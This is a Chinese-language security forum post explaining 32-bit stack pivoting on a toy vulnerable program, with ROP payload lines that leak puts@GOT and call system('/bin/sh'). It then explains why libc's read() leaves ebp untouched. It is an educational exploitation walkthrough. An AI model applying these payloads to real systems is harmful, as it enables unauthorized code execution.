首页
论坛
课程
招聘
栈迁移
2020-12-9 23:43 4302

栈迁移

2020-12-9 23:43
4302

    关于"栈迁移"的介绍,网上已经有很多文章,个人觉得这篇写的比较详细:https://blog.csdn.net/qq_38154820/article/details/106330238

    不过,我在看链接文章时,还是遇到一些疑惑(即以下黑休+斜体部分,也是本篇帖子要在后半部分统一解释的内容)。


  • "栈迁移"的过程归纳

    漏洞程序:

int __cdecl main(int argc, const char **argv, const char **envp)
{
    char buf; // [esp+0h] [ebp-28h]
    if ( count != 1337 )
        exit(1);
    ++count;
    setvbuf(_bss_start, 0, 2, 0);
    puts("Try your best :");
    return read(0, &buf, 0x40u);       //存在栈溢出 漏洞
}

      1. 程序启动后,等待用户的输入数据;

      2. 脚本程序构造payload_1并输入,利用main()函数的栈溢出漏洞,将ebp0指向的内容、返回地址,分别覆盖为bbs+0x500、read_plt;

payload_1 = 'a'*0x28 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100)

      3. main()函数接收到输入数据,会继续执行到自己尾部的leave、ret指令;

leave:
mov %ebp, %esp  ; esp = ebp0
pop ebp         ; ebp = bss+0x500(即ebp1所指位置),esp += 4

ret:
pop %eip        ; eip = read_plt(即"返回"到read()函数执行),esp += 4(即esp1所指位置)

          read()函数将stack_1中的0、bss+0x500、0x100作为参数,即read(0, bss+0x500, 0x100),再次等待用户的输入数据(fd参数为0)

      4. 脚本程序构造payload_2并输入,由read()函数写到bss+0x500(即ebp1位置);

payload_2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx_ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret)
payload_2 += p32(0) + p32(buf2) + p32(0x100)

      5. read()函数接收到输入数据后,会继续执行到自己尾部的ret指令,"返回"到esp(当前为eps1)指向的leave_ret处执行;

read()尾部ret:
pop %eip        ; eip = leave_ret(即"返回"到leave_ret执行),esp += 4(不重要,紧接着就会被赋值为ebp1)

leave:
mov %ebp, %esp  ; esp = ebp1
pop ebp         ; ebp = bss+0x400(即ebp2所指位置),esp += 4

ret:
pop %eip        ; eip = puts_plt(即"返回"到puts()函数执行),esp += 4(即esp2所指位置)

          puts()函数将stack_2中的puts_got作为参数,即puts(puts_got),打印出puts_got所指位置中的内容(即puts()函数的加载地址),然后根据固定偏移,脚本程序就可以推算出,后继要使用的system()函数加载地址、"/bin/sh"字符串地址(这个过程需要理解动态链接的重定位原理:https://bbs.pediy.com/thread-246373.htm);

      6. puts()函数继续执行到自己尾部的ret指令,返回到esp(当前为esp2)指向的pop_ebx_ret处执行;

puts()尾部ret:
pop %eip    ; eip = pop_ebx_ret(即"返回"到pop_ebx_ret执行),esp += 4

pop_ebx:
pop %ebx    ; ebx = puts_got(不重要,只是为了移动esp),esp += 4(即esp3所指位置,真正目的)

ret:
pop %eip    ; eip = read_plt(即又"返回"到read_plt执行),esp += 4(即esp4所指位置)

          read()函数将stack_2中的0、bss+0x400、0x100作为参数,即read(0, bss+0x400, 0x100),再次等待用户的输入数据(fd参数为0)

      7. 脚本构造payload_3并输入,由read()函数写到bss+0x400(即ebp2位置);

payload_3 = p32(buf) + p32(system_add) + 'bbbb' + p32(binsh_addr)

      8. read()函数接收到输入数据后,会继续执行到自己尾部的ret指令,"返回"到esp(当前为eps4)指向的leave_ret处执行;

read()尾部ret:
pop %eip        ; eip = leave_ret(即"返回"到leave_ret执行),esp += 4(不重要,紧接着就会被赋值为ebp2)

leave:
mov %ebp, %esp  ; esp = ebp2
pop ebp         ; ebp = bss+0x500(即ebp1所指位置,不重要,后面不再需要ebp),esp += 4

ret:
pop %eip        ; eip = system_addr(即"返回"到system()函数执行)

          最终,system()函数将stack_3中的binsh_addr作为参数,即system("/bin/sh"),拿到shell。

  • 疑惑以及解决过程

      先把注意力集中到第一次执行read()函数的过程:

      1. read()函数执行时,为什么会将stack_1中的0、bbs+0x500、0x100作为参数?

      2. read()函数执行完,为什么会返回到esp1指向的代码地址?

      比如:

#include <stdio.h>

int fun(int a, int b)
{
    printf("%d, %d\n", a, b);
    return 0;
}

int main()
{
    fun(1, 2);
    return 0;
}

      反汇编结果:

      fun()函数是通过ebp寄存器取a、b参数的,而且在尾部,执行了leave、ret两条指令,而不仅仅是ret。

      显然,如果read()函数内部也是这样,拿第一次执行时来讲,它就会在ebp1旁边取参数(ebp已经迁移到ebp1位置),而不是迁移前的栈中,而且也返回不到esp1位置,所以就想到反汇编libc的read()函数看一下:

ar -x /usr/lib/i386-linux-gnu/libc.a
objdump -S read.o

      发现read()函数入口,确实没有修改ebp创建新的栈帧,取参数也是利用esp寄存器,而不是ebp寄存器,并且结尾处仅仅执行了ret,没有执行leave:

      对于用到局部变量的libc函数,函数入口将esp减了多少,出口处就直接加多少,并不借助ebp寄存器,比如printf()函数:

      到这里,原因就已经找到了,并且第二次调用read()函数,以及调用puts()函数、system()函数时,同理。

      但是又相应产生2个新问题:

      1. 怎么样让gcc按照不借助ebp进行栈恢复的方式,编译libc的函数?

          这很容易想到,肯定是加了某种gcc选项,网上一查,确实有这样的选项:-fomit-frame-pointer。

      2. libc的函数为什么不借助ebp寄存器恢复栈的平衡?

          开始总感觉,跟这些函数是通过xx@plt中转调用有关,但想不出联系,也确实没有联系,所以就想到另外一个东西,它们要调用系统调用函数切换进内核,而ebp寄存器是用于应用层向内核传参的(32位系统调用传参约定)。


第五届安全开发者峰会(SDC 2021)议题征集正式开启!

最后于 2020-12-10 09:05 被jmpcall编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (1)
雪    币: 1907
活跃值: 活跃值 (882)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caolinkai 活跃值 2020-12-10 11:15
2
0
游客
登录 | 注册 方可回帖
返回